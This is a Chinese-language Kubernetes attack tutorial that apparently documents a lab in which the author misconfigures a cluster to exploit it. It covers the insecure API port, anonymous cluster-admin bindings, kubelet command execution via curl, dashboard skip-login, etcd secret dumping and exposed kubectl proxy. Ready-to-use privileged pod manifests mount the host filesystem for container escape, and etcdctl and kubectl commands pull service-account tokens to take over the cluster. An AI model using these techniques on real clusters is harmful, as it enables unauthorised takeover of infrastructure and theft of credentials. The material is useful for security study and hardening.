Hack the k8s

63

API-Server

API Server在集群中被用于提供API来控制内部集群

API Server可以在两个端口上提供了对外服务:8080(insecure-port,非安全端口)和6443(secure-port,安全端口),其中8080端口提供HTTP服务且无需身份认证,6443端口提供HTTPS服务且支持身份认证

insecure-port开启

API Server在8080端口上开放的服务应该是用于测试,但如果其在生存环境中被暴露出来,攻击者便可以利用此端口进行对集群的攻击。

但是8080端口服务是默认不启动的,但如果用户在 /etc/kubernets/manifests/kube-apiserver.yaml 中有 --insecure-port=8080配置项,那就启动了非安全端口,有了安全风险(1.20版本后该选项已经无效)

修改/etc/kubernetes/manifests/kube-apiserver.yaml

添加

- -–insecure-port=8080
- -–insecure-bind-address=0.0.0.0

fce263aae59195efe86d717126cd78cb

image-20230830152125172

获取凭证:

/api/v1/namespaces/kube-system/secrets/

使用kubectl

image-20230830160206229

利用kubectl创建Pod并使用磁盘挂载技术获取Node节点控制权

hack.yaml

apiVersion: v1
kind: Pod
metadata:
  name: neartest
spec:
  hostPID: true
  hostIPC: true
  hostNetwork: true
  containers:
  - name: trpc
    image: "alpine"
    securityContext:
      privileged: true
      capabilities:
        add:
          - SYS_ADMIN
    command: ["/bin/sh","-c","tail -f /dev/null"]
    volumeMounts:
    - name: etc
      mountPath: /host/etc
  volumes:
  - name: etc
    hostPath:
      path: /etc

会挂载Node结点的/etc目录至pod下的/host/etc

然后就可以写计划任务弹shell提权

image-20230830160837083

image-20230830160744333

image-20230830160902098

secure-port配置错误

若我们不带任何凭证的访问 API server的 secure-port端口(默认为6433),默认会被服务器标记为system:anonymous用户。 一般来说system:anonymous用户权限是很低的,但是如果运维人员管理失当,吧system:anonymous用户绑定到了cluster-admin用户组,那么就意味着secure-port允许匿名用户以管理员权限向集群下达命令。(也就是secure-port变成某种意义上的insecure-port了)

正常情况:

image-20230830165352197

image-20230830170321269

将system:anonymous用户绑定到cluster-admin用户组:

kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous

image-20230830165517436

image-20230830165529767

image-20230830170541078

Kubelet

每一个Node节点都有一个kubelet服务,kubelet是在Node上用于管理本机Pod的,kubelet一般监听10250和10255端口,其中10250端口是可读可写的,10255端口是一个只读端口

10250端口是kubelet与apiserver进行通信的主要端口,通过该端口kubelet可以知道自己当前应该处理的任务

Kubelet的配置文件在Node上的/var/lib/kubelet/config.yaml

我们需要重点关注配置文件中的这两个选项,第一个选项用于设置kubelet api能否被匿名访问,第二个选项用于设置kubelet api访问是否需要经过Api server进行授权(这样即使匿名⽤户能够访问也不具备任何权限)

image-20230831104330527

将第一个选项改为true,随后将authorization.mode修改为AlwaysAllow

image-20230831104715075

我们通过/pods接口能够获取集群的详细信息,比如namespace,pods,containers等

此时,选择我们所有控制的容器快速过滤出高权限可逃逸的容器就很重要,在上述 /pods API 中可以获取到每个 POD 的配置,包括了 host、securityContext、volumes 等配置,可以根据容器逃逸知识快速过滤出相应的POD进行控制

image-20230831110045241

可以通过

curl -XPOST -k https://node_ip:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=command"

其中namespace podname containername还可通过https://node_ip:10250/runningpods/ 获取

在pods内执行命令

image-20230831110415814

获取凭证:

image-20230831112248015

一个 pod 与一个服务账户相关联,该服务账户的凭证(token)被放入该pod中每个容器的文件系统树,在 /var/run/secrets/kubernetes.io/serviceaccount/token

如果服务账号(Service account )绑定了 cluster-admin (即集群的 admin 权限我们可以对所有namespace下实例进行操作) ,那么我们就可以通过 token 来进行一系列的操作

由于这里10250鉴权当前的Kubernetes设计是默认安全的,所以10255的开放就可能更加容易在红蓝对抗中起到至关重要的作用。10255 本身为只读端口,虽然开放之后默认不存在鉴权能力,无法直接利用在容器中执行命令,但是可以获取环境变量ENV、主进程CMDLINE等信息,里面可能包含密码和秘钥等敏感信息

Kubernetes DashBoard未授权访问

dashboard是Kubernetes官方推出的控制Kubernetes的图形化界面,在Kubernetes配置不当导致dashboard未授权访问漏洞的情况下,通过dashboard我们可以控制整个集群。

在dashboard中默认是存在鉴权机制的,用户可以通过kubeconfig或者Token两种方式登录,当用户开启了enable-skip-login时可以在登录界面点击Skip跳过登录进入dashboard

image-20230831180430794

然而通过点击Skip进入dashboard默认是没有操作集群的权限的,因为Kubernetes使用RBAC(Role-based access control)机制进行身份认证和权限管理,不同的serviceaccount拥有不同的集群权限。我们点击Skip进入dashboard实际上使用的是Kubernetes-dashboard这个ServiceAccount,如果此时该ServiceAccount没有配置特殊的权限,是默认没有办法达到控制集群任意功能的程度的

kubectl create clusterrolebinding dashboard --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:kubernetes-dashboard

image-20230831181405537

此时点击跳过即可拥有管理集群的权限了

image-20230831181439099

此时可以创建一个恶意的pod

apiVersion: v1
kind: Pod
metadata:
  name: hack
spec:
  hostPID: true
  hostIPC: true
  hostNetwork: true
  containers:
  - name: trpc
    image: "alpine"
    securityContext:
      privileged: true
      capabilities:
        add:
          - SYS_ADMIN
    command: ["/bin/sh","-c","tail -f /dev/null"]
    volumeMounts:
    - name: escape
      mountPath: /escape
  volumes:
  - name: escape
    hostPath:
      path: /

image-20230831181857883

image-20230831181950161

etcd

etcd默认端口为2379

etcdctl下载: https://github.com/etcd-io/etcd/releases

未授权访问

在启动etcd时,如果没有指定 --client-cert-auth 参数打开证书校验,并且把listen-client-urls监听修改为0.0.0.0那么也就意味着这个端口被暴露在外,如果没有通过安全组防火墙的限制,就会造成危害

etcd默认配置文件在/etc/kubernetes/mainfest/etcd.yaml

image-20230831184242844

当开启client-cert-auth时,通过本地可以免认证访问etcd服务,但通过其他地址访问要携带cert进行认证访问

若没开启,则任意地址访问etcd服务都不需要进行证书校验,此时etcd服务存在未授权访问风险。

image-20230901141145702

etcd Client API 有v2和v3两个版本,服务器也可能同时支持v2 v3。通过浏览器或curl访问,通常只作简单的验证,获取少量key的内容。我们可以通过etcdctl来直接dump数据库,在文件中快速翻看敏感信息

Etcd v2和v3是两套不兼容的API,如果用的是v3,就要先通过环境变量设置API为v3

export ETCDCTL_API=3

如果服务器启用了https,需要加上两个参数忽略证书校验 --insecure-transport --insecure-skip-tls-verify

遍历key:

./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://100.100.34.172:2379/ get / --prefix --keys-only

--prefix用来指定前缀,上述命令的意思就是获取所有“/”作为前缀的key value值

获取secrets:

./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://100.100.34.172:2379/ get / --prefix --keys-only|grep secrets

image-20230901144407254获取token:

./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://100.100.34.172:2379/ get /registry/secrets/kube-system/attachdetach-controller-token-2zqjb

image-20230901145523772

获得到了token就可以接管集群,可以登陆dashboard,也可以使用kubectl

kubectl --insecure-skip-tls-verify -s https://100.100.34.172:6443 --token="token" -n kube-system get pods

image-20230901145558636

证书泄漏

如果证书泄露了,就可以通过证书来连接etcd

export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt
export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt
export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key
./etcdctl --endpoints=https://100.100.34.172:2379/ get /registry/secrets/kube-system/attachdetach-controller-token-2zqjb

kubectl-proxy

当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy 使用kubectl proxy命令就可以使API server监听在本地的8009端口上:

kubectl proxy --port=8009

但其实 kubectl proxy 转发的是 apiserver 所有的能力,而且是默认不鉴权的

如果设置了

--accept-hosts=^.*$ --address=0.0.0.0

那么就可以直接未授权访问API Server

image-20230901151030009

image-20230901151229157

污点横移

待续...

权限提升

待续...

权限维持

待续...